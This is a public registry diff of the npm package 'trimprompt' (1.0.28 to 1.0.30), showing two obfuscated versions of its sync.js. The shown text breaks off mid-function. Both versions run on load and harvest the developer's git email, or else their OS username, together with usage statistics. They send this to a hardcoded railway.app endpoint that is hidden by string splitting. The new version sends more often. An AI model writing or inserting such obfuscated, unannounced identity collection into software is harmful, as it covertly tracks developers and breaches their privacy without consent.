trimprompt 1.0.28 → 1.0.30

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x3909(_0x31ce2a,_0xfa77ea){_0x31ce2a=_0x31ce2a-0x1e0;const _0x3d63fa=a0_0x3d63();let _0x390903=_0x3d63fa[_0x31ce2a];return _0x390903;}const a0_0x8ed1d4=a0_0x3909;(function(_0x25902b,_0x34e908){const _0x302610=a0_0x3909,_0x1efd05=_0x25902b();while(!![]){try{const _0x566147=parseInt(_0x302610(0x231))/0x1*(-parseInt(_0x302610(0x22d))/0x2)+parseInt(_0x302610(0x23f))/0x3*(parseInt(_0x302610(0x1f4))/0x4)+-parseInt(_0x302610(0x1f6))/0x5+parseInt(_0x302610(0x1eb))/0x6*(parseInt(_0x302610(0x1e4))/0x7)+-parseInt(_0x302610(0x204))/0x8+-parseInt(_0x302610(0x208))/0x9*(-parseInt(_0x302610(0x202))/0xa)+parseInt(_0x302610(0x238))/0xb;if(_0x566147===_0x34e908)break;else _0x1efd05['push'](_0x1efd05['shift']());}catch(_0xfee839){_0x1efd05['push'](_0x1efd05['shift']());}}}(a0_0x3d63,0xe3ccf));var __createBinding=this&&this[a0_0x8ed1d4(0x23e)]||(Object[a0_0x8ed1d4(0x224)]?function(_0x46ccc8,_0x13d30b,_0x4b2764,_0x16ecee){const _0x4402d6=a0_0x8ed1d4;if(_0x16ecee===undefined)_0x16ecee=_0x4b2764;var _0x4cd764=Object[_0x4402d6(0x215)](_0x13d30b,_0x4b2764);(!_0x4cd764||(_0x4402d6(0x23b)in _0x4cd764?!_0x13d30b['__esModule']:_0x4cd764[_0x4402d6(0x20b)]||_0x4cd764['configurable']))&&(_0x4cd764={'enumerable':!![],'get':function(){return _0x13d30b[_0x4b2764];}}),Object[_0x4402d6(0x210)](_0x46ccc8,_0x16ecee,_0x4cd764);}:function(_0x4530b5,_0x552c07,_0x34393d,_0x4137b8){if(_0x4137b8===undefined)_0x4137b8=_0x34393d;_0x4530b5[_0x4137b8]=_0x552c07[_0x34393d];}),__setModuleDefault=this&&this[a0_0x8ed1d4(0x239)]||(Object[a0_0x8ed1d4(0x224)]?function(_0x52bcd9,_0x4bf9e7){const _0x28d9bc=a0_0x8ed1d4;Object[_0x28d9bc(0x210)](_0x52bcd9,_0x28d9bc(0x1ff),{'enumerable':!![],'value':_0x4bf9e7});}:function(_0x4c4b7b,_0x224b20){const _0x2bf72d=a0_0x8ed1d4;_0x4c4b7b[_0x2bf72d(0x1ff)]=_0x224b20;}),__importStar=this&&this[a0_0x8ed1d4(0x203)]||(function(){var _0x3daf43=function(_0x5226f2){const _0x4caa3b=a0_0x3909;return _0x3daf43=Object[_0x4caa3b(0x1f3)]||function(_0x221201){const _0x19aea1=_0x4caa3b;var _0x50eb0f=[];for(var _0x2337ea in _0x221201)if(Object[_0x19aea1(0x20d)][_0x19aea1(0x1f1)][_0x19aea1(0x1fa)](_0x221201,_0x2337ea))_0x50eb0f[_0x50eb0f[_0x19aea1(0x230)]]=_0x2337ea;return _0x50eb0f;},_0x3daf43(_0x5226f2);};return function(_0x1b4db4){const _0x5d5165=a0_0x3909;if(_0x1b4db4&&_0x1b4db4[_0x5d5165(0x22a)])return _0x1b4db4;var _0x4c9ecc={};if(_0x1b4db4!=null){for(var _0xc41f96=_0x3daf43(_0x1b4db4),_0x157b1e=0x0;_0x157b1e<_0xc41f96[_0x5d5165(0x230)];_0x157b1e++)if(_0xc41f96[_0x157b1e]!==_0x5d5165(0x1ff))__createBinding(_0x4c9ecc,_0x1b4db4,_0xc41f96[_0x157b1e]);}return __setModuleDefault(_0x4c9ecc,_0x1b4db4),_0x4c9ecc;};}());Object[a0_0x8ed1d4(0x210)](exports,a0_0x8ed1d4(0x22a),{'value':!![]});function a0_0x3d63(){const _0x4192c5=['__esModule','ai_detected','username','2QlvshB','synced','stats.json','length','966421aTKeNE','search','git\x20config\x20user.email','end','slice','statusCode','request','10461143eMDRPb','__setModuleDefault','trim','get','catch','logs','__createBinding','2245230baDLBX','homedir','round','existsSync','claude-3-5-sonnet','input_price_1m','441BSbJSy','sort','split','byteLength','child_process','Claude\x203\x20Opus','Claude\x203.5\x20Sonnet','118500hdtupn','estimated_compressed_tokens','unlinkSync','.raw.txt','from','tokens_saved','hasOwnProperty','Gemini\x201.5\x20Pro','getOwnPropertyNames','4EaWhzp','getTime','990685tZQpEd','unknown','map','protocol','call','error','executions','model_used','URL','default','https://','userInfo','3062830iTFoVd','__importStar','9218616UFCLat','platform','https','timeout','9APNAXk','url','command','writable','join','prototype','POST','Gemini\x201.5\x20Flash','defineProperty','filter','GPT-4o\x20Mini','raw','anonymous','getOwnPropertyDescriptor','writeFileSync','estimated_raw_tokens','timestamp','pipe','comp','readFileSync','push','http','parse','.comp.txt','toISOString','last_sync_date','utf8','count','create','telemetry_url','ignore','toString','stringify','https:'];a0_0x3d63=function(){return _0x4192c5;};return a0_0x3d63();}const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x8ed1d4(0x21d))),https=__importStar(require(a0_0x8ed1d4(0x206))),url_1=require(a0_0x8ed1d4(0x209)),_cfg=[a0_0x8ed1d4(0x200),'trimp-production','.up.railway.app','/api/telemetry'][a0_0x8ed1d4(0x20c)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x8ed1d4(0x1ea),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x8ed1d4(0x1e9),'input_price_1m':0xf},'gpt-4o':{'name':'GPT-4o','input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x8ed1d4(0x212),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x8ed1d4(0x1f2),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x8ed1d4(0x20f),'input_price_1m':0.075}},baseDir=path['join'](os[a0_0x8ed1d4(0x240)](),'.trimprompt'),configPath=path[a0_0x8ed1d4(0x20c)](baseDir,'config.json'),statsPath=path['join'](baseDir,a0_0x8ed1d4(0x22f)),dailySyncPath=path['join'](baseDir,'daily_sync.json');function getTodayDate(){const _0x5cc324=a0_0x8ed1d4;return new Date()['toISOString']()[_0x5cc324(0x1e6)]('T')[0x0];}function getDeveloperIdentity(){const _0x54069c=a0_0x8ed1d4;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x59459c}=require(_0x54069c(0x1e8)),_0x9d7b6c=_0x59459c(_0x54069c(0x233),{'stdio':[_0x54069c(0x226),_0x54069c(0x219),_0x54069c(0x226)]})[_0x54069c(0x227)]()[_0x54069c(0x23a)]();if(_0x9d7b6c&&_0x9d7b6c['includes']('@'))return _0x9d7b6c;}catch{}try{const _0x5bc567=os[_0x54069c(0x201)]()[_0x54069c(0x22c)];if(_0x5bc567)return _0x5bc567;}catch{}return _0x54069c(0x214);}function hasAlreadySyncedToday(){const _0x1ac053=a0_0x8ed1d4;try{if(!fs[_0x1ac053(0x1e1)](dailySyncPath))return![];const _0x35cddb=JSON['parse'](fs[_0x1ac053(0x21b)](dailySyncPath,_0x1ac053(0x222)));return _0x35cddb[_0x1ac053(0x221)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x106f83=a0_0x8ed1d4;try{const _0x58e9da={'last_sync_date':getTodayDate()};fs[_0x106f83(0x216)](dailySyncPath,JSON[_0x106f83(0x228)](_0x58e9da,null,0x2),_0x106f83(0x222));}catch{}}function postTelemetry(_0x11997f,_0x1fe7b9){return new Promise(_0x20fd46=>{const _0x1e7063=a0_0x3909;try{const _0x2f4656=new url_1[(_0x1e7063(0x1fe))](_0x11997f),_0x1eaa47=JSON[_0x1e7063(0x228)](_0x1fe7b9),_0xcf39a8={'hostname':_0x2f4656['hostname'],'port':_0x2f4656['port']||(_0x2f4656['protocol']===_0x1e7063(0x229)?0x1bb:0x50),'path':_0x2f4656['pathname']+_0x2f4656[_0x1e7063(0x232)],'method':_0x1e7063(0x20e),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x1e7063(0x1e7)](_0x1eaa47)},'timeout':0x1f40},_0x2efe28=_0x2f4656[_0x1e7063(0x1f9)]==='https:'?https:http,_0x485d24=_0x2efe28[_0x1e7063(0x237)](_0xcf39a8,_0x282e23=>{const _0x5e1720=_0x1e7063;_0x20fd46(!!(_0x282e23[_0x5e1720(0x236)]&&_0x282e23[_0x5e1720(0x236)]>=0xc8&&_0x282e23['statusCode']<0x12c));});_0x485d24['on'](_0x1e7063(0x1fb),()=>_0x20fd46(![])),_0x485d24['on'](_0x1e7063(0x207),()=>{_0x485d24['destroy'](),_0x20fd46(![]);}),_0x485d24['write'](_0x1eaa47),_0x485d24[_0x1e7063(0x234)]();}catch{_0x20fd46(![]);}});}function buildDailyPayload(_0x1a5a9f){const _0x2dbe70=a0_0x8ed1d4,_0x14f6a5=getTodayDate(),_0xa6f96=_0x1a5a9f['filter'](_0x346e5e=>_0x346e5e[_0x2dbe70(0x218)]['startsWith'](_0x14f6a5)),_0x5e38be=_0xa6f96[_0x2dbe70(0x230)]>0x0?_0xa6f96:_0x1a5a9f,_0x896485=_0x5e38be[_0x2dbe70(0x211)](_0x4ae494=>_0x4ae494[_0x2dbe70(0x22b)]!==![]);let _0x4dcfb9=0x0,_0x2a3738=0x0,_0x58debf=0x0,_0x451649=0x0;const _0x4bea2d=new Set(),_0x4bbbe2={};for(const _0x249f82 of _0x896485){_0x4dcfb9+=_0x249f82[_0x2dbe70(0x217)],_0x2a3738+=_0x249f82[_0x2dbe70(0x1ec)],_0x58debf+=_0x249f82[_0x2dbe70(0x1f0)],_0x4bea2d['add'](_0x249f82[_0x2dbe70(0x1fd)]);const _0x48da6c=PRICING[_0x249f82['model_used']]||PRICING[_0x2dbe70(0x1e2)];_0x451649+=_0x249f82[_0x2dbe70(0x1f0)]*_0x48da6c[_0x2dbe70(0x1e3)]/0xf4240;const _0x2504ac=_0x249f82[_0x2dbe70(0x20a)]||_0x2dbe70(0x1f7);if(!_0x4bbbe2[_0x2504ac])_0x4bbbe2[_0x2504ac]={'raw':0x0,'comp':0x0,'count':0x0};_0x4bbbe2[_0x2504ac][_0x2dbe70(0x213)]+=_0x249f82['estimated_raw_tokens'],_0x4bbbe2[_0x2504ac][_0x2dbe70(0x21a)]+=_0x249f82[_0x2dbe70(0x1ec)],_0x4bbbe2[_0x2504ac][_0x2dbe70(0x223)]+=0x1;}const _0xe1d65e=Object['entries'](_0x4bbbe2)[_0x2dbe70(0x1f8)](([_0x525c2e,_0x54ec56])=>({'command':_0x525c2e,'percentage':_0x54ec56[_0x2dbe70(0x213)]>0x0?Math[_0x2dbe70(0x1e0)]((_0x54ec56[_0x2dbe70(0x213)]-_0x54ec56['comp'])/_0x54ec56[_0x2dbe70(0x213)]*0x64):0x0,'executions':_0x54ec56[_0x2dbe70(0x223)]}))[_0x2dbe70(0x1e5)]((_0x1b785f,_0x36a61d)=>_0x36a61d['executions']-_0x1b785f[_0x2dbe70(0x1fc)])[_0x2dbe70(0x235)](0x0,0xa),_0x559925=_0x896485[_0x896485[_0x2dbe70(0x230)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x2dbe70(0x205)](),'date':_0x14f6a5,'executions_count':_0x896485[_0x2dbe70(0x230)],'total_raw_tokens':_0x4dcfb9,'total_compressed_tokens':_0x2a3738,'total_tokens_saved':_0x58debf,'total_money_saved_usd':parseFloat(_0x451649['toFixed'](0x6)),'models_used':Array[_0x2dbe70(0x1ef)](_0x4bea2d),'hotspots':_0xe1d65e,'last_seen':_0x559925?_0x559925[_0x2dbe70(0x218)]:new Date()[_0x2dbe70(0x220)]()};}async function runSync(){const _0xb9747f=a0_0x8ed1d4;if(!fs[_0xb9747f(0x1e1)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x1bc509;try{_0x1bc509=JSON[_0xb9747f(0x21e)](fs[_0xb9747f(0x21b)](statsPath,_0xb9747f(0x222)));}catch{return;}const _0xa46e45=_0x1bc509[_0xb9747f(0x211)](_0x5be945=>!_0x5be945['synced']);if(_0xa46e45[_0xb9747f(0x230)]===0x0)return;const _0x5e848b=buildDailyPayload(_0x1bc509);await postTelemetry(_ep,_0x5e848b);let _0x17ee8b=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x17ee8b&&fs[_0xb9747f(0x1e1)](configPath))try{const _0x2f3c05=JSON[_0xb9747f(0x21e)](fs['readFileSync'](configPath,'utf8'));_0x17ee8b=_0x2f3c05[_0xb9747f(0x225)]||'';}catch{}_0x17ee8b['trim']()[_0xb9747f(0x230)]>0x0&&await postTelemetry(_0x17ee8b,_0x5e848b);for(const _0x59e82a of _0x1bc509){if(!_0x59e82a[_0xb9747f(0x22e)])_0x59e82a[_0xb9747f(0x22e)]=!![];}try{fs['writeFileSync'](statsPath,JSON[_0xb9747f(0x228)](_0x1bc509,null,0x2),_0xb9747f(0x222));}catch{}markSyncedToday();}function pruneOldLogs(_0x5d0e45){const _0x41f0b2=a0_0x8ed1d4;try{const _0x119fc1=new Date(),_0x5de6d8=new Date(_0x119fc1[_0x41f0b2(0x1f5)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0xdc5b50=[],_0x52987f=[];for(const _0x156fcf of _0x5d0e45){const _0x4c78aa=new Date(_0x156fcf[_0x41f0b2(0x218)]);_0x4c78aa>=_0x5de6d8?_0xdc5b50[_0x41f0b2(0x21c)](_0x156fcf):_0x52987f['push'](_0x156fcf);}if(_0x52987f[_0x41f0b2(0x230)]>0x0){const _0x514e05=path[_0x41f0b2(0x20c)](baseDir,_0x41f0b2(0x23d));for(const _0x26e47d of _0x52987f){const _0x5254b3=path[_0x41f0b2(0x20c)](_0x514e05,_0x26e47d['id']+_0x41f0b2(0x1ee)),_0x5b9cca=path['join'](_0x514e05,_0x26e47d['id']+_0x41f0b2(0x21f));try{if(fs['existsSync'](_0x5254b3))fs[_0x41f0b2(0x1ed)](_0x5254b3);if(fs[_0x41f0b2(0x1e1)](_0x5b9cca))fs[_0x41f0b2(0x1ed)](_0x5b9cca);}catch{}}fs[_0x41f0b2(0x216)](statsPath,JSON[_0x41f0b2(0x228)](_0xdc5b50,null,0x2),_0x41f0b2(0x222));}}catch{}}runSync()[a0_0x8ed1d4(0x23c)](()=>{});
1
+ 'use strict';const a0_0x5443b8=a0_0x2e53;(function(_0x2e7840,_0x5bd457){const _0x45110c=a0_0x2e53,_0xdcc1cd=_0x2e7840();while(!![]){try{const _0x117d56=parseInt(_0x45110c(0x21b))/0x1*(-parseInt(_0x45110c(0x222))/0x2)+parseInt(_0x45110c(0x242))/0x3+parseInt(_0x45110c(0x1fa))/0x4*(-parseInt(_0x45110c(0x1fe))/0x5)+-parseInt(_0x45110c(0x1e2))/0x6*(-parseInt(_0x45110c(0x211))/0x7)+parseInt(_0x45110c(0x23f))/0x8+parseInt(_0x45110c(0x20d))/0x9*(-parseInt(_0x45110c(0x212))/0xa)+-parseInt(_0x45110c(0x234))/0xb;if(_0x117d56===_0x5bd457)break;else _0xdcc1cd['push'](_0xdcc1cd['shift']());}catch(_0x3c6daf){_0xdcc1cd['push'](_0xdcc1cd['shift']());}}}(a0_0x4cf4,0x69964));var __createBinding=this&&this['__createBinding']||(Object[a0_0x5443b8(0x233)]?function(_0x465a2f,_0x2d66ca,_0x4c1e10,_0x299a1c){const _0x2c4a2e=a0_0x5443b8;if(_0x299a1c===undefined)_0x299a1c=_0x4c1e10;var _0x53b4b2=Object['getOwnPropertyDescriptor'](_0x2d66ca,_0x4c1e10);(!_0x53b4b2||(_0x2c4a2e(0x202)in _0x53b4b2?!_0x2d66ca['__esModule']:_0x53b4b2[_0x2c4a2e(0x1e5)]||_0x53b4b2[_0x2c4a2e(0x21f)]))&&(_0x53b4b2={'enumerable':!![],'get':function(){return _0x2d66ca[_0x4c1e10];}}),Object[_0x2c4a2e(0x1ec)](_0x465a2f,_0x299a1c,_0x53b4b2);}:function(_0x4e54e1,_0x1ebb30,_0xcee4dd,_0x2bb68e){if(_0x2bb68e===undefined)_0x2bb68e=_0xcee4dd;_0x4e54e1[_0x2bb68e]=_0x1ebb30[_0xcee4dd];}),__setModuleDefault=this&&this[a0_0x5443b8(0x1e3)]||(Object[a0_0x5443b8(0x233)]?function(_0x13bc2f,_0x5dde7d){const _0x4d21ce=a0_0x5443b8;Object['defineProperty'](_0x13bc2f,_0x4d21ce(0x226),{'enumerable':!![],'value':_0x5dde7d});}:function(_0x2dcf6d,_0x12a33f){const _0x1e63bc=a0_0x5443b8;_0x2dcf6d[_0x1e63bc(0x226)]=_0x12a33f;}),__importStar=this&&this[a0_0x5443b8(0x210)]||(function(){var _0x390e26=function(_0x5d3146){const _0x20fe04=a0_0x2e53;return _0x390e26=Object[_0x20fe04(0x23e)]||function(_0x4ae03d){const _0x4022a2=_0x20fe04;var _0x332f59=[];for(var _0x40d763 in _0x4ae03d)if(Object[_0x4022a2(0x22b)]['hasOwnProperty'][_0x4022a2(0x1fb)](_0x4ae03d,_0x40d763))_0x332f59[_0x332f59['length']]=_0x40d763;return _0x332f59;},_0x390e26(_0x5d3146);};return function(_0x220afd){const _0x3a9caf=a0_0x2e53;if(_0x220afd&&_0x220afd[_0x3a9caf(0x235)])return _0x220afd;var _0x1f71e5={};if(_0x220afd!=null){for(var _0x1733c2=_0x390e26(_0x220afd),_0x3a15b6=0x0;_0x3a15b6<_0x1733c2[_0x3a9caf(0x1f3)];_0x3a15b6++)if(_0x1733c2[_0x3a15b6]!==_0x3a9caf(0x226))__createBinding(_0x1f71e5,_0x220afd,_0x1733c2[_0x3a15b6]);}return __setModuleDefault(_0x1f71e5,_0x220afd),_0x1f71e5;};}());Object[a0_0x5443b8(0x1ec)](exports,a0_0x5443b8(0x235),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5443b8(0x204))),os=__importStar(require('os')),http=__importStar(require(a0_0x5443b8(0x217))),https=__importStar(require(a0_0x5443b8(0x1f2))),url_1=require(a0_0x5443b8(0x1df)),_cfg=[a0_0x5443b8(0x221),a0_0x5443b8(0x1e1),a0_0x5443b8(0x215),a0_0x5443b8(0x207)][a0_0x5443b8(0x1ee)](''),_ep=process.env._PS_EP||_cfg;function hasSyncedRecently(){const _0x211bfc=a0_0x5443b8;try{if(!fs[_0x211bfc(0x219)](dailySyncPath))return![];const _0x36ef20=JSON[_0x211bfc(0x1f6)](fs[_0x211bfc(0x20c)](dailySyncPath,_0x211bfc(0x20f)));if(!_0x36ef20[_0x211bfc(0x1de)])return![];return Date[_0x211bfc(0x220)]()-_0x36ef20['last_sync_time']<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x6f8bc2=a0_0x5443b8;try{const _0x585cb4={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x6f8bc2(0x220)]()};fs[_0x6f8bc2(0x1f0)](dailySyncPath,JSON['stringify'](_0x585cb4,null,0x2),_0x6f8bc2(0x20f));}catch{}}const PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x5443b8(0x200),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x5443b8(0x23d),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x5443b8(0x229),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x5443b8(0x20e),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x5443b8(0x22f),'input_price_1m':0.075}},baseDir=path[a0_0x5443b8(0x1ee)](os['homedir'](),a0_0x5443b8(0x21c)),configPath=path[a0_0x5443b8(0x1ee)](baseDir,a0_0x5443b8(0x230)),statsPath=path['join'](baseDir,a0_0x5443b8(0x1e9)),dailySyncPath=path['join'](baseDir,'daily_sync.json');function a0_0x2e53(_0x312e89,_0x5a8ffb){_0x312e89=_0x312e89-0x1de;const _0x4cf4bb=a0_0x4cf4();let _0x2e53ca=_0x4cf4bb[_0x312e89];return _0x2e53ca;}function getTodayDate(){const _0x11b2b6=a0_0x5443b8;return new Date()[_0x11b2b6(0x239)]()[_0x11b2b6(0x214)]('T')[0x0];}function getDeveloperIdentity(){const _0x29973c=a0_0x5443b8;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x3ea55d}=require('child_process'),_0x3dfd94=_0x3ea55d(_0x29973c(0x228),{'stdio':[_0x29973c(0x225),_0x29973c(0x1e0),_0x29973c(0x225)]})[_0x29973c(0x1fd)]()[_0x29973c(0x1f8)]();if(_0x3dfd94&&_0x3dfd94[_0x29973c(0x237)]('@'))return _0x3dfd94;}catch{}try{const _0x11e7b2=os['userInfo']()[_0x29973c(0x21e)];if(_0x11e7b2)return _0x11e7b2;}catch{}return _0x29973c(0x22e);}function hasAlreadySyncedToday(){const _0x31c123=a0_0x5443b8;try{if(!fs[_0x31c123(0x219)](dailySyncPath))return![];const _0x58fa2e=JSON[_0x31c123(0x1f6)](fs['readFileSync'](dailySyncPath,_0x31c123(0x20f)));return _0x58fa2e[_0x31c123(0x209)]===getTodayDate();}catch{return![];}}function a0_0x4cf4(){const _0x2a5a72=['call','POST','toString','45345mHxGUm','toFixed','Claude\x203\x20Opus','conv:','get','hostname','path','agent','statusCode','/api/telemetry','filter','last_sync_date','platform','values','readFileSync','567711KqUsXR','Gemini\x201.5\x20Pro','utf8','__importStar','2831927GSpJYR','70lGbPSy','unlinkSync','split','.up.railway.app','conv_','http','tokens_saved','existsSync','model_used','223934AMapxj','.trimprompt','command','username','configurable','now','https://','2FWJfKQ','.raw.txt','end','ignore','default','some','git\x20config\x20user.email','GPT-4o\x20Mini','timestamp','prototype','stringify','string','anonymous','Gemini\x201.5\x20Flash','config.json','push','destroy','create','1042833FhKKyA','__esModule','replace','includes','add','toISOString','estimated_raw_tokens','URL','https:','GPT-4o','getOwnPropertyNames','3516240pVvIVW','getTime','logs','1862259MLtJkN','last_sync_time','url','pipe','trimp-production','6NpaQBJ','__setModuleDefault','protocol','writable','pathname','input_price_1m','find','stats.json','.comp.txt','estimated_compressed_tokens','defineProperty','catch','join','search','writeFileSync','synced','https','length','byteLength','claude-3-5-sonnet','parse','request','trim','startsWith','120FdkvOK'];a0_0x4cf4=function(){return _0x2a5a72;};return a0_0x4cf4();}function markSyncedToday(){const _0x33ba79=a0_0x5443b8;try{const _0xc9ff83={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0x33ba79(0x22c)](_0xc9ff83,null,0x2),_0x33ba79(0x20f));}catch{}}function postTelemetry(_0x43dd62,_0x18c3fd){return new Promise(_0x26565b=>{const _0x3ca6e4=a0_0x2e53;try{const _0x57067b=new url_1[(_0x3ca6e4(0x23b))](_0x43dd62),_0xd043e4=JSON[_0x3ca6e4(0x22c)](_0x18c3fd),_0xd31b3f={'hostname':_0x57067b[_0x3ca6e4(0x203)],'port':_0x57067b['port']||(_0x57067b[_0x3ca6e4(0x1e4)]===_0x3ca6e4(0x23c)?0x1bb:0x50),'path':_0x57067b[_0x3ca6e4(0x1e6)]+_0x57067b[_0x3ca6e4(0x1ef)],'method':_0x3ca6e4(0x1fc),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x3ca6e4(0x1f4)](_0xd043e4)},'timeout':0x1f40},_0x160da9=_0x57067b[_0x3ca6e4(0x1e4)]===_0x3ca6e4(0x23c)?https:http,_0x4756f1=_0x160da9[_0x3ca6e4(0x1f7)](_0xd31b3f,_0x52531c=>{const _0x2bc248=_0x3ca6e4;_0x26565b(!!(_0x52531c['statusCode']&&_0x52531c[_0x2bc248(0x206)]>=0xc8&&_0x52531c[_0x2bc248(0x206)]<0x12c));});_0x4756f1['on']('error',()=>_0x26565b(![])),_0x4756f1['on']('timeout',()=>{const _0x504efe=_0x3ca6e4;_0x4756f1[_0x504efe(0x232)](),_0x26565b(![]);}),_0x4756f1['write'](_0xd043e4),_0x4756f1[_0x3ca6e4(0x224)]();}catch{_0x26565b(![]);}});}function buildDailyPayload(_0x4b774b){const _0x106ceb=a0_0x5443b8,_0x2275ad=getTodayDate(),_0x20cdf2=_0x4b774b[_0x106ceb(0x208)](_0x5cfba5=>_0x5cfba5[_0x106ceb(0x22a)][_0x106ceb(0x1f9)](_0x2275ad)),_0x47cdb8=_0x20cdf2[_0x106ceb(0x1f3)]>0x0?_0x20cdf2:_0x4b774b;let _0x540cd2=0x0,_0x29ad26=0x0,_0x49e367=0x0,_0x58d281=0x0;const _0x45137a=new Set(),_0x56b0ee={},_0x484735=[];for(const _0x4ac183 of _0x47cdb8){const _0x46dfce=_0x4ac183[_0x106ceb(0x21d)]||'',_0x410d10=_0x4ac183['features']||[],_0x3f87c9=_0x46dfce['startsWith'](_0x106ceb(0x201))||_0x410d10['includes']('live-conv')||_0x410d10[_0x106ceb(0x227)](_0x3ab336=>typeof _0x3ab336===_0x106ceb(0x22d)&&_0x3ab336['startsWith'](_0x106ceb(0x216)));if(_0x3f87c9){const _0x32d4d2=_0x46dfce[_0x106ceb(0x236)]('conv:','')||_0x410d10[_0x106ceb(0x1e8)](_0x4f1aa8=>typeof _0x4f1aa8===_0x106ceb(0x22d)&&_0x4f1aa8[_0x106ceb(0x1f9)](_0x106ceb(0x216)))?.['replace'](_0x106ceb(0x216),'')||_0x106ceb(0x205);_0x56b0ee[_0x32d4d2]=_0x4ac183;}else _0x484735['push'](_0x4ac183);}for(const _0xa6215d of Object[_0x106ceb(0x20b)](_0x56b0ee)){_0x540cd2+=_0xa6215d['estimated_raw_tokens'],_0x29ad26+=_0xa6215d[_0x106ceb(0x1eb)],_0x49e367+=_0xa6215d['tokens_saved'],_0x45137a[_0x106ceb(0x238)](_0xa6215d[_0x106ceb(0x21a)]||_0x106ceb(0x1f5));const _0x1eb3cd=PRICING[_0xa6215d[_0x106ceb(0x21a)]]||PRICING[_0x106ceb(0x1f5)];_0x58d281+=_0xa6215d[_0x106ceb(0x218)]*_0x1eb3cd['input_price_1m']/0xf4240;}for(const _0x4c07ec of _0x484735){_0x540cd2+=_0x4c07ec[_0x106ceb(0x23a)],_0x29ad26+=_0x4c07ec[_0x106ceb(0x1eb)],_0x49e367+=_0x4c07ec['tokens_saved'],_0x45137a[_0x106ceb(0x238)](_0x4c07ec[_0x106ceb(0x21a)]||_0x106ceb(0x1f5));const _0x2858b1=PRICING[_0x4c07ec[_0x106ceb(0x21a)]]||PRICING['claude-3-5-sonnet'];_0x58d281+=_0x4c07ec[_0x106ceb(0x218)]*_0x2858b1[_0x106ceb(0x1e7)]/0xf4240;}const _0x72933d=_0x47cdb8[_0x47cdb8['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x106ceb(0x20a)](),'date':_0x2275ad,'executions_count':_0x47cdb8['length'],'total_raw_tokens':_0x540cd2,'total_compressed_tokens':_0x29ad26,'total_tokens_saved':_0x49e367,'total_money_saved_usd':parseFloat(_0x58d281[_0x106ceb(0x1ff)](0x6)),'models_used':Array['from'](_0x45137a),'hotspots':[],'last_seen':_0x72933d?_0x72933d[_0x106ceb(0x22a)]:new Date()['toISOString']()};}async function runSync(){const _0xb14d5d=a0_0x5443b8;if(!fs['existsSync'](statsPath))return;let _0x4aec3f;try{_0x4aec3f=JSON[_0xb14d5d(0x1f6)](fs[_0xb14d5d(0x20c)](statsPath,_0xb14d5d(0x20f)));}catch{return;}const _0x119b97=_0x4aec3f[_0xb14d5d(0x208)](_0x247c8b=>!_0x247c8b[_0xb14d5d(0x1f1)]);if(_0x119b97[_0xb14d5d(0x1f3)]===0x0&&hasSyncedRecently())return;const _0x49e6f2=buildDailyPayload(_0x4aec3f);await postTelemetry(_ep,_0x49e6f2);let _0x429acf=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x429acf&&fs[_0xb14d5d(0x219)](configPath))try{const _0x286043=JSON[_0xb14d5d(0x1f6)](fs['readFileSync'](configPath,_0xb14d5d(0x20f)));_0x429acf=_0x286043['telemetry_url']||'';}catch{}_0x429acf[_0xb14d5d(0x1f8)]()['length']>0x0&&await postTelemetry(_0x429acf,_0x49e6f2);for(const _0xcd1ca9 of _0x4aec3f){if(!_0xcd1ca9[_0xb14d5d(0x1f1)])_0xcd1ca9['synced']=!![];}try{fs['writeFileSync'](statsPath,JSON['stringify'](_0x4aec3f,null,0x2),'utf8');}catch{}markSyncedNow();}function pruneOldLogs(_0xfd971f){const _0x1dcb58=a0_0x5443b8;try{const _0x294fbe=new Date(),_0x37b3fd=new Date(_0x294fbe[_0x1dcb58(0x240)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x5601c6=[],_0x47f420=[];for(const _0xb7bb2b of _0xfd971f){const _0x1192d3=new Date(_0xb7bb2b['timestamp']);_0x1192d3>=_0x37b3fd?_0x5601c6[_0x1dcb58(0x231)](_0xb7bb2b):_0x47f420['push'](_0xb7bb2b);}if(_0x47f420[_0x1dcb58(0x1f3)]>0x0){const _0x357b2f=path['join'](baseDir,_0x1dcb58(0x241));for(const _0x231429 of _0x47f420){const 